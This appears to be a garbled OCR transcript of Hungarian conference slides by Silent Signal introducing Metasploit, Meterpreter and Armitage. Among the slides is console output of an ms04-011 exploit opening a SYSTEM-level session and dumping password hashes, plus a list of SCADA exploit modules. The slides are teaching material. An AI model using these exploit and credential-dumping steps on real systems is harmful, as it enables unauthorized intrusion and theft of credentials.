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§ Disclaimer

« BTK 300/c-t sokan kivulrol fujjak

« BTK 300/e reszlet: Aki a 300/C. §-ban
meghatarozott blncselekmeény elkovetése
celjabol, az ehhez szilkseges vagy ezt
konnyito szamitastechnikai programot |...]
forgalomba hoz, azzal kereskedik, vagy mas
modon hozzaférhetové tesz, vétséget kdvet el,
és ket évig terjedb szabadsagvesztessel,
kozerdekld munkaval vagy pénzbuntetéssel
buntetendo.
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Probléma
. Ugrasi Payload
Exploitok ek (shell kod)
Win XP : I
SMBd Spo bind she
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Ffeverse
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Vista _SPl
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D Metasploit Framework

Kezdetek: 2003, HD Moore, Perl
Legnagyobblettation needed] Ryby projekt, 700kSLoC
Ma: Metasploit Project része, Rapid7 LLC
Modularis gyujtemeny:

« exploitok

* payloadok

* encoderek

* egyéb hasznos eszk6zok (pl. pattern toolok)
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D Meterpreter

* Problema: Windows ,hasznalhatatlansaga”
« Sajat metasploit interpreter — payload vagy EXE
 Kiterjedt modularitas: teljes WINAPI elerheto

msf exploit(ms@4 011 lsass) > exploit

[*] Binding to 3919286a-b1l0c-11d0-9ba8-
00co4fd92ef5:0.0@ncacn np:192.168.11.201[\1sarpc]...

[*] Sending stage (748032 bytes) to 192.168.11.201

[*] Meterpreter session 1 opened (192.168.10.162:53 ->
192.168.11.201:1086) at Fri Nov 19 23:27:35 +0100 2010

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7b21f445F45e32017f. ..
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D User Experience

« Parancssor, majd Ruby ,teljesitmenye” miatt CLI
« Ha mar framework, legyen kover: web(rick)

# The Metaspioit Framework | Metasploit Framework ... [j [] Metaspioit: Metasploit 3.0 .. v

& Exploits . Auxiliaries @ Payloads @ Console Sessions # About

Microsoft IIS 5.0 Printer Host Header Overflow (2)

Metasploit Exploit (3)

[*] Started bind hondler

[*] Command shell session 1 opened (192.168.2.9:56595

Microsoft Windows 2000 [Version 5.00.2195])

(C) Copynight 1985-1999 Microsoft Corp
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D Armitage

= C | O www.fastandeasyhacking.com W@ A

CYBER ATTACK MANAGEMENT FOR METASPLOIT

FAST AND EASY HACKING

— e ———————————— S —
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D Armitage

« Java alapu GUI

» Felderités

« Automatikus exploit
szures

« Csapatmunka
tamogatas (multiplayer)

« Integralt

YWATEM @ ACME- 14E429D2B5 (ADMIN)

-c._._‘_‘_._ - |
j Attack

Login
1€ Meterpreter 6 »
e Services

0 16828 1 11

Access »
Interact »

e Bl & Browse Files

tamadasmenedzsment” e o i | e
* NeXt > NeXt > HaCk? dified : | Mode :

0-02-14 22:16:37 0500
A1 AAA 10012022 J0Ann
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Zaro gondolatok

« Minden, amit bemutattam, BSD licensz alatt
Ingyenesen es szabadon elerheto.

» Ettol még nem lesz suttyobol hacker.
 Talk less, do more: DamnVulnLinux + BackTrack

msf3 > 1ls -1 modules/exploits/windows/scada

total 64

-rw-r--r-- 1 dnet
-rw-r--r-- 1 dnet
-rw-r--r-- 1 dnet
-rw-r--r-- 1 dnet
-rw-r--r-- 1 dnet
-rw-r--r-- 1 dnet
-rw-r--r-- 1 dnet
-rw-r--r-- 1 dnet
-rw-r--r-- 1 dnet
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citect scada_odbc.rb
iconics_webhmi_setactivexguid.rb
igss9 igssdataserver listall.rb
igss9 misc.rb

moxa_mdmtool.rb

realwin.rb
realwin_scpc_initialize.rb
realwin_scpc_initialize_rf.rb
realwin_scpc_txtevent.rb




KOoszonom a figyelmet!

SILENT SIGNAL
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www.silentsignal.hu
Info@silentsignal.hu
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